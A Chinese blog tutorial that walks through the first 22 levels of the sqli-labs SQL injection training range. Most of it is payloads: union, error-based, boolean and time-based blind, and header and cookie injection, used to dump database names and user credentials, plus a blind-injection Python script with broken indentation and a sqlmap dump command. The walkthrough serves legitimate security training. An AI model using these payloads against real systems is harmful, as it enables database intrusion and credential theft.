SQL注入靶场(前22关)保姆级教学

admin 2025年1月20日22:50:21评论8 views字数 10763阅读35分52秒阅读模式

前言

作者使用phpstudy将靶场放置在本地环境中,配置如下:

SQL注入靶场(前22关)保姆级教学

直接在浏览器中输入127.0.0.1/sql进行访问即可,有问题可以关注公众号回复【好友】私聊笔者

第一关

unsetunset1.1判断字符型还是数字型unsetunset

?id=1'报错,说明是字符型注入

SQL注入靶场(前22关)保姆级教学

unsetunset1.2看字段数unsetunset

4时报错且3时不报错,说明表一共有3个字段

?id=1' order by 4 --+
SQL注入靶场(前22关)保姆级教学

unsetunset1.3看回显位unsetunset

使用不存在的值查找回显位(不存在的值也可以让前面的命令执行失败)

?id=-1' union select 1,2,3 --+
SQL注入靶场(前22关)保姆级教学

发现是2,3位置有回显

unsetunset1.4爆库名unsetunset

?id=-1' union select 1,2,database() --+
SQL注入靶场(前22关)保姆级教学

unsetunset1.5爆表名unsetunset

注:

  • MySQL自带Information_schema库
  • Information_schema库里有两个特殊的表
  1. 表tables记录了库名和表名
  2. 表columns:库里面有什么表,表里面有什么字段
  • table_schema:记录了所有库的库名
  • table_name.记录了表
  • column_name:记录了字段
  • group_concat:将查询到的多行结果连接成为字符串
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
SQL注入靶场(前22关)保姆级教学

unsetunset1.6爆字段unsetunset

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
SQL注入靶场(前22关)保姆级教学

unsetunset1.7爆账号密码unsetunset

?id=-1' union select 1,2,group_concat(username , password) from users --+
SQL注入靶场(前22关)保姆级教学

第二关

unsetunset2.1判断注入类型unsetunset

?id=1 and 1=1 --+

不报错

?id=1  and 1=2 --+

报错

说明是数字型注入

unsetunset2.2判断字段数unsetunset

?id=1 order by 4 --+

4时报错,3时不报错,有三个字段

unsetunset2.3查看回显位unsetunset

?id=-1 union select 1,2,3 --+

回显位还是2和3

unsetunset2.4爆库名unsetunset

?id=-1 union select 1,database(),3

unsetunset2.5爆表名unsetunset

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

unsetunset2.6爆字段unsetunset

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

unsetunset2.7 爆账号密码unsetunset

?id=-1 union select 1,2,group_concat(username , password) from users

第三关

unsetunset3.1判断注入类型unsetunset

?id=1'

报错,但是仔细观察发现报错语句后面存在")"说明需要构造")"进行闭合

?id=1')

unsetunset3.2判断字段数unsetunset

?id=1') order by 4 --+

4时报错,3时不报错,有三个字段

unsetunset3.3查看回显位unsetunset

?id=-1') union select 1,2,3 --+

回显位还是2和3

unsetunset3.4爆库名unsetunset

?id=-1') union select 1,2,database() --+

unsetunset3.5爆表名unsetunset

?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

unsetunset3.6爆字段unsetunset

?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

unsetunset3.7 爆账号密码unsetunset

?id=-1') union select 1,2,group_concat(username,password)from users --+

第四关

unsetunset4.1判断注入类型unsetunset

?id=1"

报错,但是仔细观察发现报错语句后面存在")"说明需要构造")"进行闭合

?id=1")

unsetunset4.2判断字段数unsetunset

?id=1") order by 4 --+

4时报错,3时不报错,有三个字段

unsetunset4.3查看回显位unsetunset

?id=-1") union select 1,2,3 --+

回显位还是2和3

unsetunset4.4爆库名unsetunset

?id=-1") union select 1,2,database() --+

unsetunset4.5爆表名unsetunset

?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

unsetunset4.6爆字段unsetunset

?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

unsetunset4.7 爆账号密码unsetunset

?id=-1") union select 1,2,group_concat(username,password)from users --+

第五关

第五关发现页面不回显了,只要语法正确,均为以下页面,本关需要用到报错注入或者盲注

SQL注入靶场(前22关)保姆级教学

笔者此处采用updatexml函数进行报错注入

updatexml(目标文件,文件路径,修改内容)

0x3e是>的16进制编码

原理:文件路径必定会执行,可以输入其他语句,进行注入

unsetunset5.1判断注入类型unsetunset

?id=1'

报错

unsetunset5.2判断字段数unsetunset

?id=1' order by 4 --+

4时报错,3时不报错,有三个字段

unsetunset5.3爆库名unsetunset

?id=1'and updatexml(1,concat(0x3e,(select database()),0x3e),1)--+

unsetunset5.4爆表名unsetunset

?id=1' and updatexml(1,concat(0x3e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x3e),1)--+

unsetunset5.5爆字段unsetunset

?id=1' and updatexml(1,concat(0x3e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name ='users'),0x3e),1)--+

unsetunset5.6爆账号密码unsetunset

?id=1'and updatexml(1,concat(0x3e,(select group_concat(password)from users),0x3e),1)--+

第六关

和第五关思路一样,只是将单引号报错改为了双引号报错

跑数据库名的脚本:

import requests as req
url = 'http://www.wangehacker.cn/sqli-labs/Less-6/?id=1'
res = ''
select = "select database()"
for i in range(1, 100):
for ascii in range(32, 128):
        id = '1" and ascii(substr(({}),{},1))={}%23'.format(select, i, ascii)
        r = req.get(url+id)
print(url+id)
if"You are in"in r.text:
            res += chr(ascii)
print(res)
break
if ascii == 127:
print('{}'.format(res))
exit(0)

第七关

unsetunset7.1判断注入类型unsetunset

?id=1')) --+

经过尝试,闭合为')),本关的闭合有难度

题目中提示使用outfile,具体可以参考以下文章,还可以使用盲注(第八关详细讲)

https://www.cnblogs.com/c1047509362/p/12356354.html

第八关(典型的盲注)

第八关发现页面不回显了,只要语法正确,均为同一个页面,只要是错误语法也是同一个界面(没有任何回显可以与第五关进行对比)

unsetunset8.1判断注入类型unsetunset

?id=1'

报错

unsetunset8.2判断字段数unsetunset

?id=1' order by 4 --+

4时报错,3时不报错,有三个字段

unsetunset8.3爆库名unsetunset

盲注时常见函数:

length():识别内容的长度有几位 ascii():把字符转换成对应的十进制数字 substr():(需要分割的数据,从哪开始分割,分割多少位)

8.3.1 爆库名长度(建议先用二分法确定范围)

?id=1' and length((select database()))=8 --+

页面正常,说明库名长度为8

8.3.2 爆库名

这一步需要用到ascii和substr函数对库名进行一个一个字母的尝试

?id=1' and ascii(substr((select database()),1,1))=115--+(s)
?id=1'
 and ascii(substr((select database()),2,1))=101--+(e)

以此类推库名为security

unsetunset8.4爆表名unsetunset

8.4.1爆表名长度

?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=29 --+

8.4.2爆表名

?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101 --+

根据长度,对每一个字符进行判断(二分法),可以得到表名分别为 emailsreferersuagents,  users  ,ers

unsetunset8.5爆字段unsetunset

8.5.1爆字段长度

?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))=20 --+

8.5.2爆字段

?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=105--+

unsetunset8.6爆账号密码unsetunset

?id=1' and acsii(substr((select group_concat(username,password) from users),1,1))=68 --+

本关还可以使用sqlmap进行辅助爆破出账号密码

python sqlmap.py -u 127.0.0.1/sql/Less-8/?id=1'--+ -D security -T users --dump

第九关(时间盲注)

无论输入什么都回显You are in...........界面,可以考虑时间盲注,通过相应时间来判断语句的对错

补充知识:

sleep函数可以控制页面响应时间,可以使用if和sleep函数的组合使用通过页面响应时间的长短来判断语句的对错

unsetunset9.1判断闭合unsetunset

?id=1' and if(1=1,sleep(2),1)--+

unsetunset9.2爆库名unsetunset

9.2.1爆库长度

?id=1' and if(length((select database()))=8,sleep(2),1)--

9.2.2爆库名

?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(2),1)--+

unsetunset9.3爆表名unsetunset

9.3.1爆表名长度

?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=29,sleep(2),1)--+

9.3.2爆表名

?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101,sleep(2),1)--+

unsetunset9.4爆字段unsetunset

9.4.1爆字段长度

?id=1' and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"))=20,sleep(2),1)--+

9.4.2爆字段

?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),1,1))=105,sleep(5),1)--+

unsetunset9.5爆账号密码unsetunset

?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))=68,sleep(2),1)--+

第十关

本关的闭合是双引号,其它的与第九关一样

第十一关

本关是登录框的注入,由之前的get请求变为了post请求

之前用的--+进行注释,在输入框中需要改为#进行注释

unsetunset11.1判断注入类型unsetunset

以下内容均在账号的输入框中进行输入

admin

报错

unsetunset11.2判断字段数unsetunset

admin' order by 3 --+

3时报错,2时不报错,有两个字段

unsetunset11.3查看回显位unsetunset

由于刚刚使用的账户是admin,查看回显时会被原来的内容覆盖,所以这里需要用一个不存在的用户,这里选择1来进行后续操作

1' union select 1,2#

回显位是1和2

unsetunset11.4爆库名unsetunset

1' union select 1,database() #

unsetunset11.5爆表名unsetunset

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

unsetunset11.6爆字段unsetunset

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

unsetunset11.7 爆账号密码unsetunset

1' union select 1,group_concat(id,username,password)from users #

第十二关

第十二关的闭合是"),其它与第十一关一样

第十三关(报错注入)

unsetunset13.1判断注入类型unsetunset

admin") 

报错

unsetunset13.2判断字段数unsetunset

admin' order by 3 --+

3时报错,2时不报错,有两个字段

unsetunset13.3查看回显位unsetunset

发现本关没有回显位,这时需要用到报错注入

报错注入常见函数:updatexml()函数extractvalue()函数

unsetunset13.4爆库名unsetunset

admin') and updatexml(1,concat(0x3e,(select database()),0x3e),1)#

unsetunset13.5爆表名unsetunset

admin') and updatexml(1,concat(0x3e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x3e),1)#

unsetunset13.6爆字段unsetunset

admin') and updatexml(1,concat(0x3e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x3e),1)#

unsetunset13.7 爆账号密码unsetunset

admin') and updatexml(1,concat(0x3e,(select group_concat(username,password) from users limit 0,1),0x3e),1)#

第十四关

闭合为",其它和13关一样

第十五关(时间盲注)

本关登陆失败的页面没有回显,尝试使用时间盲注

unsetunset15.1判断闭合unsetunset

admin' and sleep(2) #

执行成功,说明闭合是'

unsetunset15.2爆库名unsetunset

' or if(length((select database()))=8,sleep(2),1)#

从左往右爆库名

admin' and if(ascii(substr(database(),0,1))=115,1,sleep(2))#

unsetunset15.3爆表名unsetunset

admin' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=29,sleep(2),1)#
admin' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101,sleep(2),1)#

unsetunset15.4爆字段unsetunset

admin' and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"))=20,sleep(2),1)#
admin' and if(ascii(substr((select group_concat(username,password) from users),1,1))=68,sleep(2),1)#

unsetunset15.5爆账号密码unsetunset

admin' and if(ascii(substr((select group_concat(username,password) from users),1,1))=68,sleep(2),1)#

第十六关

闭合为"),其它均相同

第十七关

本关是密码重置的场景,其中账户不对的话会提示错误,经过尝试,admin是一个有效账户,随后就可以在新的密码中输入注入语句。

账户为admin不变,以下命令均为新密码输入框中输入的内容

unsetunset17.1判断闭合unsetunset

' order by 3#

执行成功,说明闭合是'

unsetunset17.2爆库名unsetunset

1' and updatexml(1,concat(0x3e,(select database()),0x3e),1)#

unsetunset17.3爆表名unsetunset

1' and updatexml(1,concat(0x3e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x3e),1)#

unsetunset17.4爆字段unsetunset

1' and updatexml(1,concat(0x3e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x3e),1)#

unsetunset17.5爆账号密码unsetunset

1' and updatexml(1,concat(0x3e,(select group_concat(username,password) from users),0x3e),1)#

以上命令会被限制,数据库中不允许读users表,我们可以使用别名进行绕过

' or extractvalue(1,(select concat(0x7e,(select group_concat(username,password) from (select username,password from users)a))))#

将users表中的数据username和password存到一个别名为a的表中,这个时候就绕过了

第十八关

本关给了ip地址,记录了浏览器信息,可以尝试在ua,cookie等位置进行注入

本关是ua头注入

unsetunset18.1判断闭合unsetunset

1'

在UA头中将原来的删除,改为1'报错说明闭合是'

unsetunset18.2爆库名unsetunset

' and updatexml(1,concat(0x3e,(select database()),0x3e),1),1,1)#

unsetunset18.3爆表名unsetunset

' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1),1,1)#

unsetunset18.4爆字段unsetunset

' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e),1),1,1)#

unsetunset18.5爆账号密码unsetunset

' and updatexml(1,concat(0x7e,  (select group_concat(username,password) from users limit 0,1),0x7e),1),1,1)#

第十九关

跟18关一样,只是注入的位置改到了referer

第二十关

跟18关一样,只是注入的位置改到了cookie中

第二十一关

抓包时发现cookie的值被base64编码了,所以payload也需要进行base64编码,且闭合为')

payload见18关

第二十二关

闭合变为",且需要进行base64编码

payload见18关

原文始发于微信公众号(泷羽Sec-pp502的安全笔记):SQL注入靶场(前22关)保姆级教学

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月20日22:50:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL注入靶场(前22关)保姆级教学https://cn-sec.com/archives/3652201.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息